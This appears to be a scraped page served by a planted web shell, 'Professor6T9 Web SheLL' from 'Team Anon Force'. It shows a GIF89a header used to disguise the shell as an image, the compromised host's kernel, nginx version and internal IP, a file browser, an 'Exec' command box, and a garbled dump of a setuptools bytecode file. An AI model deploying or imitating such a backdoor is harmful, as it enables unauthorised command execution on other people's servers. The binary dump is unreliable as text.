GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
setuptools
/
__pycache__
[ HOME ]
Exec
Submit
unicode_utils.cpython-38.pyc
U �}�hm � @ s� d dl Z d dlZd dlmZ ddlmZ ddlmZ dd� Zdd � Z d d� Z ejfeed�d d�Z ejfeedd�dd�ZG dd� de�ZdS )� N)�ConfigParser� )�py39)�SetuptoolsDeprecationWarningc C sT t | t�rt�d| �S z$| �d�} t�d| �} | �d�} W n tk rN Y nX | S )NZNFD�utf-8)� isinstance�str�unicodedata� normalize�decode�encode�UnicodeError)�path� r �?/tmp/pip-target-k_nuic9h/lib/python/setuptools/unicode_utils.py� decompose s r c C sZ t | t�r| S t�� pd}|df}|D ].}z| �|�W S tk rR Y q&Y q&X q&dS )z] Ensure that the given path is decoded, ``None`` when no expected encoding works r N)r r �sys�getfilesystemencodingr �UnicodeDecodeError)r Zfs_enc� candidates�encr r r �filesys_decode s r c C s( z| � |�W S tk r" Y dS X dS )z/turn unicode encoding into a functional routineN)r �UnicodeEncodeError)�stringr r r r � try_encode+ s r )�file�returnc C s� z0t | ddd��}|�� W 5 Q R � W S Q R X W nP tk r� tj| |d� t | d|d��}|�� W 5 Q R � Y S Q R X Y nX dS )a First try to read the file with UTF-8, if there is an error fallback to a different encoding ("locale" by default). Returns the content of the file. Also useful when reading files that might have been produced by an older version of setuptools. �rr ��encoding�r �fallback_encodingN)�open�readr �_Utf8EncodingNeeded�emit)r r! �fr r r �_read_utf8_with_fallback3 s r'